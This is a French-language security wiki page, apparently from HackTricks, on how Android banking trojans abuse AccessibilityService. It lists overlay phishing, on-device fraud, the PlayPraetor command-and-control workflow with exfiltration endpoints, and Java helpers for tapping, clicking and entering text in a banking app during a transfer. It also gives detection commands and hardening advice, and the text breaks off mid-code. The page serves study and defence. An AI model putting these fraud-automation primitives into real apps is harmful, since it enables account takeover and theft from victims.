# Abus du service d'accessibilité Android
{{#include ../../banners/hacktricks-training.md}}
## Vue d'ensemble
`AccessibilityService` a été créé pour aider les utilisateurs en situation de handicap à interagir avec les appareils Android. Malheureusement, les mêmes **API d'automatisation puissantes** (navigation globale, saisie de texte, dispatch de gestes, fenêtres d'overlay…) peuvent être détournées par des malwares pour obtenir un **contrôle total à distance** du téléphone _sans privilèges root_.
Les trojans bancaires Android modernes et les Remote-Access-Trojans (RATs) tels que **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** et bien d'autres suivent la même recette :
1. Amener la victime par ingénierie sociale à activer un service d'accessibilité malveillant (la *BIND_ACCESSIBILITY_SERVICE* permission est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
2. Exploiter le service pour
* capturer chaque événement UI et tout texte affiché à l'écran,
* injecter des gestes synthétiques (`dispatchGesture`) et des actions globales (`performGlobalAction`) pour automatiser toute tâche désirée par l'opérateur,
* dessiner des overlays plein écran au-dessus d'apps légitimes en utilisant le type de fenêtre **TYPE_ACCESSIBILITY_OVERLAY** (pas de prompt `SYSTEM_ALERT_WINDOW` !),
* accorder silencieusement des permissions runtime supplémentaires en cliquant sur les dialogues système au nom de la victime.
3. Exfiltrer des données ou réaliser du **On-Device-Fraud (ODF)** en temps réel pendant que l'utilisateur regarde un écran apparemment normal.
---
## Demander la permission
```xml
```
Le XML compagnon définit à quoi ressemblera la fausse boîte de dialogue :
```xml
```
---
## Primitives d'automatisation de l'interface utilisateur à distance
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
Avec seulement ces deux APIs, un attaquant peut :
* Déverrouiller l'écran, ouvrir l'application bancaire, parcourir son arbre UI et soumettre un formulaire de virement.
* Accepter toutes les boîtes de dialogue de permission qui s'affichent.
* Installer/mettre à jour des APK supplémentaires via l'intent Play Store.
---
## Schémas d'abus
### 1. Overlay Phishing (Credential Harvesting)
Un `WebView` transparent ou opaque est ajouté au window manager :
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
La victime saisit ses identifiants dans le formulaire factice pendant que l'app en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "draw over other apps" n'est jamais affichée.
> Exemple détaillé : la section *Accessibility Overlay Phishing* à l'intérieur de la page Tapjacking.
### 2. Automatisation de la fraude sur l'appareil
Des familles de malware telles que **PlayPraetor** maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (`init`, `update`, `alert_arr`, `report_list`, …). Le service traduit ces commandes en gestes bas-niveau décrits ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement la multi-factor-authentication liée à cet appareil.
### 3. Screen streaming & monitoring
En combinant la **MediaProjection API** avec une librairie cliente RTMP, le RAT peut diffuser le framebuffer en direct vers `rtmp://:1935/live/`, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur Accessibility pilote l'UI.
---
## PlayPraetor – workflow de command & control
1. **HTTP(S) heartbeat** – itère sur une liste codée en dur jusqu'à ce qu'un domaine réponde à `POST /app/searchPackageName` avec le C2 actif.
2. **WebSocket (port 8282)** – commandes JSON bidirectionnelles :
* `update` – push de nouvelles conf/APKs
* `alert_arr` – configurer les templates d'overlay
* `report_list` – envoyer la liste des noms de packages ciblés
* `heartbeat_web` – keep-alive
3. **RTMP (port 1935)** – streaming d'écran/vidéo en direct.
4. **REST exfiltration** –
* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (bank creds)
Le **AccessibilityService** est le moteur local qui transforme ces commandes cloud en interactions physiques.
---
## Détection des services Accessibility malveillants
* `adb shell settings get secure enabled_accessibility_services`
* Settings → Accessibility → *Downloaded services* – rechercher des apps qui ne proviennent **pas** de Google Play.
* Les solutions MDM / EMM peuvent imposer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) pour bloquer les services sideloadés.
* Analyser les services en cours d'exécution :
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Recommandations de durcissement pour les développeurs d'apps
* Marquer les vues sensibles avec `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Combiner `setFilterTouchesWhenObscured(true)` avec `FLAG_SECURE` pour prévenir le détournement de tap/overlay.
* Détecter les overlays en sondant `WindowManager.getDefaultDisplay().getFlags()` ou l'API `ViewRootImpl`.
* Refuser de fonctionner lorsque `Settings.canDrawOverlays()` **ou** un Accessibility service non approuvé est actif.
---
## Aide-mémoire d'automatisation ATS (Accessibility-driven)
Le malware peut automatiser complètement une application bancaire uniquement avec les Accessibility APIs. Primitives génériques :
```java
// Helpers inside your AccessibilityService
private List byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
```
Exemple de flux (tchèque → étiquettes en anglais) :
- "Nová platba" (Nouveau paiement) → cliquer
- "Zadat platbu" (Saisir le paiement) → cliquer
- "Nový příjemce" (Nouveau bénéficiaire) → cliquer
- "Domácí číslo účtu" (Numéro de compte national) → mettre le focus et `ACTION_SET_TEXT`
- "Další" (Suivant) → cliquer → … "Zaplatit" (Payer) → cliquer → saisir le PIN
Fallback : coordonnées codées en dur avec `dispatchGesture` lorsque la recherche de texte échoue en raison de widgets personnalisés.
Observé aussi : des étapes préalables appelant check_limit et limit en naviguant dans l'interface des limites et en augmentant les limites journalières avant le transfert.
## Pseudo-streaming d'écran textuel
Pour le contrôle à distance à faible latence, au lieu d'un streaming vidéo complet, extraire une représentation textuelle de l'arbre UI courant et l'envoyer de façon répétée au C2.
```java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i